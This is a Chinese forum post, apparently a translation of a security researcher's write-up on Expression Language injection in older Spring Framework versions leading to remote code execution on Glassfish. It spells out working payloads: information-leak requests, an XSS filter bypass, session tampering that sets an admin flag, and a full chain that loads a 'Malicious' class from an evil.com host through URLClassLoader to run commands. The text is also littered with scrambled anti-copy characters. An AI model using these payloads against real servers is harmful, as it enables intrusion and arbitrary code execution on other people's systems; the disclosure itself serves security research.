找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2221|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with. {5 z  q& K- m
Expression Language Injection
4 P1 j6 Y2 H, E( E6 ?Spring Framework脆弱性—DanAmodio
. v: H- S4 w7 X5 w' E' ?5 B( ]全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中+ m  T: j# v& ~5 g  x3 _  Z
可能会存在风险。: _. j  W! O# h/ j# T( e
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的. ~! |  W; b; ]* M
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
- j6 u2 B* ^9 z9 Z; L3 I2 C以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,) x4 V& \8 Q* D( f& `" |7 x. C
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
! U# P2 k0 R. z" E& o版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。4 H( F7 {/ {; M$ ~; n' |
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
% q9 Z2 A$ G: g5 c) y, b/ w我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
: n" r9 ]  X0 z% T" h: m. N. @本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。1 r# S$ ^7 A9 |2 |0 @6 K, X) m
这些版本不支持禁用double EL resolution.1 d0 n8 V3 t) W2 P  _  H* F
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
& @8 E5 t1 i% R; UEL2.2容器上可能进行远程代码执行。: L2 ~. y* K% L
这是一个原始信息泄露的攻击例子:- g( }9 x' C5 K- s7 Y) z  j8 ^
请求:
9 Y4 h7 K# o( P' Ittp://vulnerable.com/foo?message=${applicationScope}
! T- y/ L% u0 p2 Z/ b" z* h到达以下内容页面:
/ l* Q  J  G+ s9 ~1 i& [结果将输出一些包含内部服务器信息calsspath 和本地工作目录
  Q& s0 d# p$ P' M: ]1 J你也可以做一些其他事情,如这样:6 `+ d" Q  e$ P& n8 B
${9999+1}
8 P; T, N' [/ W: X还可以访问session 对象和beans( m8 S  `0 I8 A  A: T$ ?0 B
${employee.lastName}
1 Q, K8 R! r1 K  o) x) u在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是9 M4 l1 B. j5 R& v6 O4 O! J
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东8 |. }* n6 a$ a1 o( L
西,比如XSS.
9 U( l: b, a) `  R  J哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签. K% O4 k1 t# J" n; z
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
$ c3 a. Y$ {5 y/ F/ M/ `. F  l1 _呢?”
% Y4 D, I* m( h( t: L因此,我尝试巳缦拢�
) Q( ^1 B  n3 w  u* Hhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
( ^6 p1 ?# M" L! V+ M7 A3 kP% l' W8 P- R) j, T4 G5 e3 U
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返. b/ C! A: }& X7 t( U
回的文本被插入进了spring:message 标签。
, g1 {- w9 ~1 Q# r" S. e% D这里是一个最终绕过过滤的实例:8 R( ]# F( L: w  O+ T. r" P
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ- n. U" R  D, Q' v7 W
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
# _' J0 J0 Z2 u( M! T% ^7 a, P( `4 {什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
  {. f) _8 U4 B2 s经过一番研究,我学习到EL2.2 增加了方法调用。$ |( Z  \8 G, e! {
我写了一个快速测试应用程序代码并且检测一些功能& \: h8 O3 a4 J
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
# e5 r. z5 P3 |: {4 M5 L${pageContext.request.getSession().setAttribute(“admin”,true)}
' h  v; B; e1 x4 ^4 y% \4 F+ l好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的) ?) C, |: M0 r
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
6 |( v8 j0 `6 e" k+ O${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.15 z/ G  ?' |2 b2 M2 U$ m
“, 1234)}
# I& g# r! ?+ L( O${“”.getClass().forName(“java.lang.Runtime”)}+ [% a, `5 M$ |4 l" C% D2 b- A
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
% I  G1 l/ Z; E8 o6 M2 f可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
, ^! ~$ B* e8 h" }3 Q( b0 _& I数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
5 ]3 X! Z$ f& M- o0 ~/ m; m$ _一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于4 s3 p4 p$ k0 z9 g' S
方法签名invoke(Object obj, Object„ args)7 }! Y7 _, L# G
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问% M+ E! x7 e+ O2 c
题,以让它可以工作起来。
% Y- a+ T4 Z; I# e, H+ ?8 n! K" L漏洞利用:
1 B5 N+ y; ^/ s3 r# e我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
# W, i! z' n* e* N/ O3 n; V希望你们中的一些JAVA奇才告诉我我是如此的可笑。7 R! ]8 A9 I9 M' p7 k6 F& X
这里有一些我试过的失败的用例,为了试图让它工作的用例:% X" d) B( O. P3 Y$ W7 \
 写文件到文件系统
9 o" y" w% k( B' e# v, \ 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
; x( S9 i! Z  M* r/ @& w! |7 V我认为这些可以很好的工作,但是我不能找到合适的类来载入。
/ L3 V2 }: K! S) w6 y${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
: Z, l; [9 a2 o" Q3 Bjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
3 G. p# ?* G) Q; \0 p7 W7 Z. Morg.springframework.expression.spel.standard.SpelExpressionParser not found2 Z; P  W  J2 {* a2 @: u2 r' L
by& W& Y3 R/ e: Z7 `6 r
org.glassfish.web.javax.servlet.jsp [194].% w; M/ y! {# }
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public2 G6 v6 C0 f1 v2 m" O$ ?6 t- G3 n
 利用反射来创建一个新的Runtime(and watch the world burn)+ E6 |6 Y7 |3 ]4 q* G
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName( N" P# H) k( `. i2 e
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
1 Q& v  c  H- d. y6 D5 c${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}4 h8 ~5 a# u; Z" N" l, Y( }$ ]) c
 使用java.lang.ProcessBuilder
' T7 |4 T" X+ B1 E- q1 O* d 用表达式语言来评估表达式语言
, h  t6 ]  K, V# O" Y9 Z! HExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.- b5 z: C" k6 }- h
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request' f9 v  W$ U/ b" A
“,”".getClass(),null)}
: ~* @& j) V! J- u% r 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
2 F, R. v- K2 i% r( s9 A# t. H我在使用一个空数组通过Method.invoke()时失败了很多次; ?4 p( I) n$ f( Z! `' z
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo2 G& i) @' `8 Z, e- P
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
; \$ S- B& c( _7 @9 f- crrayList”).newInstance().toArray())
& B0 d  D) G8 ujava.lang.IllegalArgumentException: wrong number of arguments
/ k+ P! `* O' \1 B# s最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可9 R4 d& K* N7 R3 @, g5 d
以创建一个恶意class文件并且指向类装载器.
$ L9 H5 ~) N& H$ @我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:7 W: o. A6 b2 z) C% I8 E
public class Malicious {# Z  J# K) x  Y8 R9 B
public Malicious() {
/ D3 ]: X% D+ \- etry {7 R9 A  H& V/ q4 U6 O
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac( P3 |9 ]5 u. f) E+ K1 |$ `
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
% _8 ]! x- H  ~, H0 C} catch (Exception e) {
2 g2 a# I4 S  \& a" k/ t; Z. G}
  j& x- G# j1 @# p+ ?& F9 \0 j}
$ ?3 T% l+ O2 v我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回" H5 L' R5 ?& {  \  z
话中,因此它可以被使用.
. t1 }8 @' N  [5 Y6 ^${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName. L3 e$ A# u4 s" P/ t4 V
(“java.util.ArrayList”).newInstance())}
( _/ i# J1 t" X) CURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
! Y5 Q) L, U* q: K一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
& S  K; S4 `4 y4 }- y$ ^) _getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个* w# W% B7 p1 Z& C9 Z
我们可以调用的create(string)方法,然后转换对一个URL对象。
0 f+ g- g6 a$ H! g# X0 _${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh: ^0 Y, z5 ]* ]
ere/malicious/classfile/is/located/”).toURL())}
3 u) Y. D8 z: R9 a1 K& X1 e然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
, N3 @4 `! j2 M5 U# S( p7 L; ]8 j恶意类文件被装载并创建,触发远程代码.
1 t8 f+ s7 W4 S# l; e${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
0 X9 p6 l4 m4 Y9 {# T& ]. Txt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass()., ?  E1 o9 e! Y1 W! u
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance  }( W* R/ R$ g' D
()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表